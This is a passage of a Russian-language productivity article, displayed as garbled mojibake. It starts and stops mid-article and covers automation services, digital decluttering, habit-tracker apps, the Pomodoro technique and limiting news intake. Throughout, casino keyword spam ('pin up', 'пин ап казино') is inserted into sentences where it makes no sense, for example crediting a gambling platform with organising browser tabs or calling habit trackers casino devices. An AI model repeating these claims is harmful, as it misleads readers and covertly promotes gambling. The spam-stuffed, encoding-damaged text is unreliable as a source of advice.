    Π˜Π½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ Ρ€ΠΎΠ·Π΅Ρ‚ΠΊΠΈ ΠΈΠ»ΠΈ Π»Π°ΠΌΠΏΡ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Xiaomi Mi Smart Plug) ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ устройствами ΠΏΠΎ Ρ€Π°ΡΠΏΠΈΡΠ°Π½ΠΈΡŽ Ρ‡Π΅Ρ€Π΅Π· Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½.
  4. ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ IFTTT ΠΈΠ»ΠΈ Zapier
    Π­Ρ‚ΠΈ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ Π΄Π°ΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ собой: ΠΊΠ°ΠΊ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚, Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ ΠΈΠ· email прямо Π² ΠΎΠ±Π»Π°ΠΊΠΎ ΠΈΠ»ΠΈ ΠΏΠΎ Ρ€Π°ΡΠΏΠΈΡΠ°Π½ΠΈΡŽ автоматичСски Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… сСтях.

Автоматизация Π² частности ΠΏΡ€Π°ΠΊΡ‚ΠΈΡ‡Π½Π° ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΠΌΡΡ ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΌ профСссионалам: скаТСм, ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° pin up сбСрСгаСт массу Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² мСсяц Π½Π° повсСднСвных Π·Π°Π΄Π°Ρ‡Π°Ρ….

Чистота Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠ³ΠΎ пространства

ΠœΠ½ΠΎΠΆΠ΅ΡΡ‚Π²ΠΎ Π½Π΅Π΄ΠΎΠΎΡ†Π΅Π½ΠΈΠ²Π°ΡŽΡ‚ влияниС ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ Π² ΠΎΠ½Π»Π°ΠΉΠ½ пространствС Π½Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ. ΠŸΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΉ Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ стол ΠΏΠ΅Ρ€ΡΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° ΠΈΠ»ΠΈ использованиС ΠΏΠ»ΠΎΡ‰Π°Π΄ΠΊΠΈ ΠΏΠΈΠ½ Π°ΠΏ ΠΊΠ°Π·ΠΈΠ½ΠΎ для упорядочивания Π²ΠΊΠ»Π°Π΄ΠΎΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ сущСствСнно ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΡƒΠΌΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ ΡƒΡΡ‚Π°Π»ΠΎΡΡ‚ΡŒ Ρ‚Π°ΠΊ ΠΆΠ΅ сильно, ΠΊΠ°ΠΊ хаос Π½Π° письмСнном столС.

Каким способом ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ чистоту

  • Π•ΠΆΠ΅Π½Π΅Π΄Π΅Π»ΡŒΠ½Π°Ρ чистка Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²
    Π£ΠΏΠΎΡ€ΡΠ΄ΠΎΡ‡ΡŒΡ‚Π΅ скачанныС Ρ„Π°ΠΉΠ»Ρ‹, ΠΈΠ·Π±Π°Π²ΡŒΡ‚Π΅ΡΡŒ ΠΎΡ‚ Π½Π΅Π²Π°ΠΆΠ½Ρ‹Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈ пСрСнСситС Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π² Π½ΡƒΠΆΠ½Ρ‹Π΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΈ.
  • ΠœΠΈΠ½ΠΈΠΌΡƒΠΌ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹Ρ… Ρ‚Π°Π±ΠΎΠ²
    Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ инструмСнты Π²ΠΊΠ»Π°Π΄ΠΎΠΊ (OneTab ΠΈΠ»ΠΈ Π²ΠΌΠΎΠ½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π»ΠΈΠ½ΠΊΠΈ Π±Π΅Π· Π½ΡƒΠΆΠ΄Ρ‹ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ мноТСство ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹Ρ… Π²ΠΊΠ»Π°Π΄ΠΎΠΊ.
  • УпорядочиваниС Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΉ ΠΏΠΎ заданиям
    Π£ΠΏΠΎΡ€ΡΠ΄ΠΎΡ‡ΡŒΡ‚Π΅ Π±ΡƒΠΌΠ°Π³ΠΈ ΠΏΠΎ катСгориям: ΡƒΡ‡Π΅Π±Π°/трудовая Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ/Π»ΠΈΡ‡Π½ΠΎΠ΅/врСмяпрСпровоТдСниС. Π­Ρ‚ΠΎ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ Π½Π°Ρ…ΠΎΠΆΠ΄Π΅Π½ΠΈΠ΅ Π½ΡƒΠΆΠ½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π·Π° сСкунды.
  • Архивация старых ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ
    Π₯Ρ€Π°Π½ΠΈΡ‚Π΅ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ Ρ„Π°ΠΉΠ»Ρ‹ Π²ΠΎ Π²Π½Π΅ΡˆΡ‚Π°Ρ‚Π½ΠΎΠΌ Π°Ρ€Ρ…ΠΈΠ²Π΅ (ΠΎΠ±Π»Π°Ρ‡Π½ΠΎΠ΅ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΠΈΠ»ΠΈ внСшний Π½Π°ΠΊΠΎΠΏΠΈΡ‚Π΅Π»ΡŒ), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π½Π΅ прСпятствовали Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Π΅.

Грамотная организация элСктронного срСды, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ с использованиСм ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΠΈΠ½ Π°ΠΏ ΠΊΠ°Π·ΠΈΠ½ΠΎ, позволяСт быстрСС ΠΈΡΠΊΠ°Ρ‚ΡŒ ΠΈ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡƒΡŽ свСдСния ΠΈ ΠΏΠΎΠ½ΠΈΠΆΠ°Π΅Ρ‚ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ трСвоТности ΠΎΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ ΡˆΡƒΠΌΠ°.

Эксплуатация Ρ‚Ρ€Π΅ΠΊΠ΅Ρ€ΠΎΠ² ΠΎΠ±Ρ‹Ρ‡Π°Π΅Π²

Для формирования Π½ΠΎΠ²Ρ‹Ρ… Π·Π΄ΠΎΡ€ΠΎΠ²Ρ‹Ρ… ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π΅ΠΊ Π΅ΡΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹-Ρ‚Ρ€Π΅ΠΊΠ΅Ρ€Ρ‹ (habit trackers). Π’Π°ΠΊΠΈΠ΅ устройства ΠΏΠΈΠ½ Π°ΠΏ ΠΊΠ°Π·ΠΈΠ½ΠΎ ΡΠΏΠΎΡΠΎΠ±ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½Ρ‹Ρ… дСйствий: зарядка ΠΏΠΎ ΡƒΡ‚Ρ€Π°ΠΌ, ΠΊΠ½ΠΈΠ³ΠΎΡ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ вСчСрняя мСдитация.

ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ популярных Ρ‚Ρ€Π΅ΠΊΠ΅Ρ€ΠΎΠ²

Π’ русском сСгмСнтС особСнно популярны Ρ‚Π°ΠΊΠΈΠ΅ Π°ΠΏΠΏΡ‹:

  • Habitica – ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠΉ способ ΠΊ Ρ€ΡƒΡ‚ΠΈΠ½Π°ΠΌ;
  • Π’Π΅Π»ΠΈΠΊΠΎΠ»Π΅ΠΏΠ½Ρ‹Π΅ – Π½Π°ΡƒΡ‡Π½ΠΎ обоснованныС Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ ΠΏΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π΅ΠΊ;
  • Loop Habit Tracker – минималистичный Ρ‚Ρ€Π΅ΠΊΠ΅Ρ€ с отсутствиСм ΠΈΠ·Π±Ρ‹Ρ‚ΠΎΡ‡Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ;
  • Streaks (для iOS) – ΠΏΡ€ΠΈΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ интСрфСйс ΠΈ комфортная статистика достиТСния Ρ†Π΅Π»Π΅ΠΉ.

ИспользованиС ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΎΠ² pin up ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ прогрСсс: Π²ΠΈΠ΄Π΅Ρ‚ΡŒ «Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ» исполнСнных Π΄Π½Π΅ΠΉ подряд ΠΌΠΎΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚ вСсти дальшС Π½Π°Ρ‡Π°Ρ‚ΠΎΠ΅ Π΄Π°ΠΆΠ΅ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° энтузиазм угасаСт.

Π Π°Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ использованиС ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСкундомСров

Одна срСд ΠΎΡ‡Π΅Π½ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½Ρ‹Ρ… способов увСличСния эффСктивности – способ «ΠŸΠΎΠΌΠΈΠ΄ΠΎΡ€Π°» (Pomodoro Technique). Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ создал ЀранчСско Π§ΠΈΡ€ΠΈΠ»Π»ΠΎ Π² ΠΏΠΎΠ·Π΄Π½ΠΈΠ΅ 1980-Ρ… Π»Π΅Ρ‚; Π² настоящСС врСмя ΠΎΠ½ испытываСт Π²ΠΎΠ·Ρ€ΠΎΠΆΠ΄Π΅Π½ΠΈΠ΅ благодаря Π±ΠΎΠ»ΡŒΡˆΠΎΠΌΡƒ количСству спСциализированных ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ для смартфонов ΠΈ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠ².

Π‘ΡƒΡ‚ΡŒ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° «ΠŸΠΎΠΌΠΈΠ΄ΠΎΡ€Π°»

Π Π°Π±ΠΎΡ‚Π° разбиваСтся Π½Π° ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Ρ‹ ΠΏΠΎ 25 ΠΌΠΈΠ½ΡƒΡ‚ («ΠΏΠΎΠΌΠΈΠ΄ΠΎΡ€Ρ‹»), Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠΈΠ½ Π°ΠΏ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ‚Π°ΠΉΠΌΠΈΠ½Π³, ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΡƒΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ нСбольшиС ΠΏΠ΅Ρ€Π΅Ρ€Ρ‹Π²Ρ‹ (5 ΠΌΠΈΠ½ΡƒΡ‚). ПослС 4 Ρ‚Π°ΠΊΠΈΡ… сСрий слСдуСт Π΄Π»ΠΈΠ½Π½Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Ρ€Ρ‹Π² (15–30 ΠΌΠΈΠ½ΡƒΡ‚).

Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ содСйствуСт ΠΏΡ€Π΅ΠΎΠ΄ΠΎΠ»Π΅Π²Π°Ρ‚ΡŒ прокрастинациСй: зная, Ρ‡Ρ‚ΠΎ оТидаСтся всСго 25 ΠΌΠΈΠ½ΡƒΡ‚ фокусированной Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΠ°ΡƒΠ·ΠΎΠΉ, ΠΌΠΎΠ·Π³ Π»Π΅Π³Ρ‡Π΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π΄Π΅Π»ΠΎ Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΎ выглядит слоТным ΠΈΠ»ΠΈ Π½ΡƒΠ΄Π½Ρ‹ΠΌ.

ΠΠ°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для Pomodoro

Π‘Ρ€Π΅Π΄ΠΈ говорящих Π½Π° русском ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ популярны:

  • Focus Task
  • Pomodone
  • Pomodoro Timer (Π²Π΅Π±-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°)
  • Focus Amplifier

НСкоторыС ΠΈΠ· этих ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΏΠΈΠ½ Π°ΠΏ ΠΊΠ°Π·ΠΈΠ½ΠΎ ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ с калСндарями ΠΈΠ»ΠΈ списками Π·Π°Π΄Π°Ρ‡ – это Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° Ρ€Π°Π±ΠΎΡ‡ΡƒΡŽ статистику Π½Π°Π΄ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌΠΈ Π·Π° сСмь Π΄Π½Π΅ΠΉ ΠΈΠ»ΠΈ Ρ‚Ρ€ΠΈΠ΄Ρ†Π°Ρ‚ΡŒ Π΄Π½Π΅ΠΉ.

Π”Π°Π½Π½Ρ‹Π΅ Π΄ΠΈΠ΅Ρ‚Π°: Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°

Масса ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π²ΠΎΠΊΡ€ΡƒΠ³ нас нас с Π²Π°ΠΌΠΈ увСличиваСтся ΡΡ‚Ρ€Π΅ΠΌΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ: сводки новостСй ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π΅ΠΆΠ΅ΠΌΠΈΠ½ΡƒΡ‚Π½ΠΎ, ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ сСти манят нСскончаСмым ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌ ΠΌΠ΅ΠΌΠΎΠ² ΠΈ Ρ€ΠΎΠ»ΠΈΠΊΠΎΠ²…. НСслоТно ΠΏΠΎΡ‚Π΅Ρ€ΡΡ‚ΡŒΡΡ Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ прСдставлСнного ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ! ΠŸΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π°Ρ информационная Ρ€Π΅ΠΆΠΈΠΌ способствуСт ΡƒΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ фокус Π½Π° ΠΏΠΎ-настоящСму Π²Π°ΠΆΠ½Ρ‹Ρ… Π²Π΅Ρ‰Π°Ρ….

Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ ΠΏΠΎ новостной чистотС

  1. Π‘Π»Π΅Π΄ΠΈΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ Ρ‡Π°Ρ‚Ρ‹

    ΠžΡ‚ΠΏΠΈΡˆΠΈΡ‚Π΅ΡΡŒ ΠΎΡ‚ Ρ€Π°Π·Π²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ°Π±Π»ΠΈΠΊΠΎΠ² Ρ€Π°Π΄ΠΈ саморазвития; сохранитС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ рСсурсы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ†Π΅Π½Π½ΠΎΡΡ‚ΡŒ.

  2. ΠŸΡ€ΠΈΠΌΠ΅Π½ΡΠΉΡ‚Π΅ RSS-Π°Π³Ρ€Π΅Π³Π°Ρ‚ΠΎΡ€Ρ‹

    ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π²Ρ€ΠΎΠ΄Π΅ Feedly Π΄Π°ΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΠ±ΠΈΡ€Π°Ρ‚ΡŒ новости ΠΈΠ· Ρ€Π°Π·Π½Ρ‹Ρ… рСсурсов Π±Π΅Π· лишнСй Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Ρ… Π±Π°Π½Π½Π΅Ρ€ΠΎΠ².

  3. ΠžΠ³Ρ€Π°Π½ΠΈΡ‡ΡŒΡ‚Π΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ потрСблСния новостСй.

    Π—Π°Π΄Π°ΠΉΡ‚Π΅ сСбС установку ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ новости Π΄Π²Π° Ρ€Π°Π·Π° Π² сутки – Π² ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ часы ΠΈ Π² Π²Π΅Ρ‡Π΅Ρ€Π½Π΅Π΅ врСмя; Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ ΡƒΠ΄Π΅Π»ΠΈΡ‚Π΅ Ρ‚Ρ€ΡƒΠ΄Ρƒ/ΡƒΡ‡Π΅Π±Π΅/ΠΎΡ‚Π΄Ρ‹Ρ…Ρƒ.

  4. ΠžΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΠΉΡ‚Π΅ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠ΅ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-рСсурсы

    Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ для Π²Π΅Π±-ΠΎΠ±ΠΎΠ·Ρ€Π΅Π²Π°Ρ‚Π΅Π»Π΅ΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, StayFocusd), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π»ΠΈΠΌΠΈΡ‚ΠΈΡ€ΡƒΡŽΡ‚ доступ ΠΊ соцсСтям послС достиТСния Π»ΠΈΠΌΠΈΡ‚Π° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π·Π° дСнь.

  5. ΠžΡ€Π³Π°Π½ΠΈΠ·ΡƒΠΉΡ‚Π΅ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ²

    НапримСр: ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΠΈ Π² процСссС ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ Ρ‚Ρ€Π°ΠΏΠ΅Π·Ρ‹ Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π±Π΅ΡΡ†Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ просмотра ΠΏΠΎΡ‚ΠΎΠΊΠ° TikTok Π½Π° Π½ΠΎΡ‡ΡŒ глядя; ΡΠ»ΡƒΡˆΠ°Ρ‚ΡŒ ΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ€Π°Π΄ΠΈΠΎΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π² ΠΏΡƒΡ‚ΠΈ Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ случайных Ρ‚Ρ€Π΅ΠΊΠΎΠ² ΠΈΠ· Ρ‚Ρ€Π΅Π½Π΄ΠΎΠ² YouTube Music.

Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΠ²Π½Π°Ρ Π΄ΠΈΠ΅Ρ‚Π° содСйствуСт ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ‚ΠΊΠΎΡΡ‚ΡŒ ΡƒΠΌΠ° Π΄Π°ΠΆΠ΅ Π² врСмя Ρ‚ΠΎΡ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈΠ½Ρ„ΠΎΡˆΡƒΠΌΠ°!

Π Π°Π·ΡƒΠΌΠ½ΠΎΠ΅ эксплуатация ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… сСтСй

Π‘Π΅Ρ‚Π΅Π²Ρ‹Π΅ сСти ΡƒΠΆΠ΅ Π΄Π°Π²Π½ΠΎ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΠ»ΠΈΡΡŒ Π² Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΆΠΈΠ·Π½ΠΈ ΠΏΠΎΠ΄Ρ€Π°ΡΡ‚Π°ΡŽΡ‰ΠΈΡ… личностСй: Ρ‚ΡƒΡ‚ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ с Π΄Ρ€ΡƒΠ·ΡŒΡΠΌΠΈ, Π΄ΠΈΡΠΊΡƒΡ‚ΠΈΡ€ΡƒΡŽΡ‚ ΠΎ тСхнологичСскиС новости ΠΌΠΈΡ€Π°, ΠΈΠ»ΠΈ Π½Π°Π±Π»ΡŽΠ΄Π°ΡŽΡ‚ Π²ΠΈΠ΄Π΅ΠΎΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ ΠΎ соврСмСнных Π³Π°Π΄ΠΆΠ΅Ρ‚Π°Ρ…… Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ слСдуСт ΠΎΡΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ ΠΎ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ прСимущСством общСния Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ ΠΈ риском бСссмыслСнной Ρ‚Ρ€Π°Ρ‚Ρ‹ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ!

Бпособы контроля Ρ‚Π°ΠΉΠΌ-ΠΌΠ΅Π½Π΅Π΄ΠΆΠΌΠ΅Π½Ρ‚Π° Π² ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Π΄ΠΈΠ°

